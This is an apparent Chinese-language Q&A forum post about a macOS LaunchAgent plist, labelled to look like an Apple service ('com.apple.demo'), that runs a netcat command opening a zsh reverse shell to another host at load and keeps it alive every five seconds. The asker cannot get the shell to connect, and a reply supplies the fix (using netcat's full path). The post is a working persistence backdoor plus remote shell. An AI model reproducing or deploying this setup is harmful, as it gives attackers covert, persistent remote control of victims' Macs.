【发布时间】:2020-04-20 19:31:34
【问题描述】:
我有一个如图所示的脚本保存到文件 /Users/yulkytulky/Library/demo/demo:
netcat 192.168.1.191 12345 -e /bin/zsh
并创建了一个 LaunchAgent plist 文件,以便 shell 像这样自动运行:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.demo</string>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>/Users/yulkytulky/Library/demo/demo</string>
</array>
<key>StartInterval</key>
<integer>5</integer>
</dict>
</plist>
但是,当我收听时,没有生成任何 shell。
我测试了将脚本更改为
say hello
它成功了! (每 5 秒打个招呼)
为什么当我尝试运行 netcat 时它不起作用?
注意:我知道脚本是可执行的。我什至可以从 plist 文件中复制脚本的路径,将其粘贴到终端中,然后就可以正常工作了。
【问题讨论】:
-
再次检查
netcat的路径(您可以在shell 中使用which netcat执行此操作)。say位于/usr/bin/中,因此通常位于标准路径中,但如果您的netcat可执行文件位于其他位置,您可能需要为其提供完整的路径规范。 -
@gaige 非常感谢!我犯了一个多么愚蠢的错误......它存储在 /usr/local/bin/netcat
标签: bash macos shell netcat launchctl